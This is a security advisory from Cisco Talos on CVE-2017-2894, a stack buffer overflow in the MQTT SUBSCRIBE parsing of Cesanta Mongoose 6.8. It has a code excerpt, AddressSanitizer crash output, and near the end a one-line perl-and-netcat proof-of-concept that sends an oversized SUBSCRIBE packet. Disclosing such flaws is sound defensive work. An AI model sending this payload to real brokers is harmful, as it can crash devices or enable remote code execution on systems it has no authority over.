Talos Vulnerability Report

TALOS-2017-0401

Cesanta Mongoose MQTT SUBSCRIBE Multiple Topics Remote Code Execution

October 31, 2017
CVE Number

CVE-2017-2894

Summary

An exploitable stack buffer overflow vulnerability exists in the MQTT packet parsing functionality of Cesanta Mongoose 6.8. A specially crafted MQTT SUBSCRIBE packet can cause a stack buffer overflow resulting in remote code execution. An attacker needs to send a specially crafted MQTT packet over the network to trigger this vulnerability.

Tested Versions

Cesanta Mongoose 6.8

Product URLs

https://cesanta.com/

CVSSv3 Score

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-121: Stack-based Buffer Overflow

Details

Mongoose is a monolithic library implementing a number of networking protocols, including HTTP, MQTT, MDNS and others. It is designed with embedded devices in mind and as such is used in many IoT devices and runs on virtually all platforms.

MQTT SUBSCRIBE command packet can contain multiple topics to subscribe to. If a MQTT SUBSCRIBE packet with upwards of 512 topic subscriptions is sent to the server, an overflow of a stack buffer can lead to an overwrite of adjacent variables or the return address ultimately leading to remote code execution. In function mg_mqtt_broker_handle_subscribe topics are handled one by one:

uint8_t qoss[512];                                [1]
 size_t qoss_len = 0;
 struct mg_str topic;
 uint8_t qos;
 int pos;
 struct mg_mqtt_topic_expression *te;

 for (pos = 0;
  (pos = mg_mqtt_next_subscribe_topic(msg, &topic, &qos, pos)) != -1;) {
   qoss[qoss_len++] = qos;                                        [2]

In the above code, an array of 512 bytes is allocated at [1]. Then, in a for loop at [2] the QOS value is stored inside that buffer and an index is incremented. No check to make sure that qoss_len doesn’t overflow is present, so a SUBSCRIBE with more than 512 subscriptions will overflow the array and write past it corrupting the stack frame.

This vulnerability can be triggered by running the supplied proof of concept to the sample mqtt_broker application supplied with the library.

Crash Information

Address Sanitizer output:

==120239==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffffb2d0 at pc 0x00000051c985 bp 0x7fffffffaff0 sp           
0x7fffffffafe8
WRITE of size 1 at 0x7fffffffb2d0 thread T0
#0 0x51c984 in mg_mqtt_broker_handle_subscribe /home/user/mongoose/examples/mqtt_broker/../../mongoose.c:10031
#1 0x51c984 in mg_mqtt_broker /home/user/mongoose/examples/mqtt_broker/../../mongoose.c:10112
#2 0x51c984 in ?? ??:0
#3 0x513e76 in mqtt_handler /home/user/mongoose/examples/mqtt_broker/../../mongoose.c:9701
#4 0x513e76 in ?? ??:0
#5 0x4fa245 in mg_call /home/user/mongoose/examples/mqtt_broker/../../mongoose.c:2051
#6 0x4fa245 in ?? ??:0
#7 0x4fe437 in mg_recv_common /home/user/mongoose/examples/mqtt_broker/../../mongoose.c:2502
#8 0x4fe437 in ?? ??:0
#9 0x50a307 in mg_if_recv_tcp_cb /home/user/mongoose/examples/mqtt_broker/../../mongoose.c:2506
#10 0x50a307 in mg_handle_tcp_read /home/user/mongoose/examples/mqtt_broker/../../mongoose.c:3372
#11 0x50a307 in mg_mgr_handle_conn /home/user/mongoose/examples/mqtt_broker/../../mongoose.c:3497
#12 0x50a307 in ?? ??:0
#13 0x50e9c8 in mg_socket_if_poll /home/user/mongoose/examples/mqtt_broker/../../mongoose.c:3690
#14 0x50e9c8 in ?? ??:0
#15 0x4fbb65 in mg_mgr_poll /home/user/mongoose/examples/mqtt_broker/../../mongoose.c:2232
#16 0x4fbb65 in ?? ??:0
#17 0x4eaffa in main /home/user/mongoose/examples/mqtt_broker/mqtt_broker.c:43
#18 0x4eaffa in ?? ??:0
#19 0x7ffff683882f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291
#20 0x7ffff683882f in ?? ??:0
#21 0x419848 in _start ??:?
#22 0x419848 in ?? ??:0


Address 0x7fffffffb2d0 is located in stack of thread T0 at offset 720 in frame
#0 0x51c61f in mg_mqtt_broker /home/user/mongoose/examples/mqtt_broker/../../mongoose.c:10093
#1 0x51c61f in ?? ??:0

This frame has 3 object(s):

[32, 132) 'buf.i'
[176, 184) 'p.i'
[208, 720) 'qoss.i' <== Memory access at offset 720 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
  (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/user/mongoose/examples/mqtt_broker/mqtt_broker+0x51c984)
Shadow bytes around the buggy address:
  0x10007fff7600: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007fff7610: 04 f2 f2 f2 f2 f2 00 f2 f2 f2 00 00 00 00 00 00
  0x10007fff7620: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007fff7630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007fff7640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10007fff7650: 00 00 00 00 00 00 00 00 00 00[f3]f3 f3 f3 f3 f3
  0x10007fff7660: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007fff7670: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007fff7680: 00 00 00 00 f1 f1 f1 f1 00 00 00 00 00 00 00 00
  0x10007fff7690: 00 00 00 00 00 00 00 00 00 00 f3 f3 f3 f3 f3 f3
  0x10007fff76a0: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==120239==ABORTING

Exploit Proof-of-Concept

perl -e 'print "\x80\xff\x0f" . "\x00\x00\x00\x01a\x02\x00"x400 ' | nc

Timeline

2017-08-31 - Vendor Disclosure
2017-10-30 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.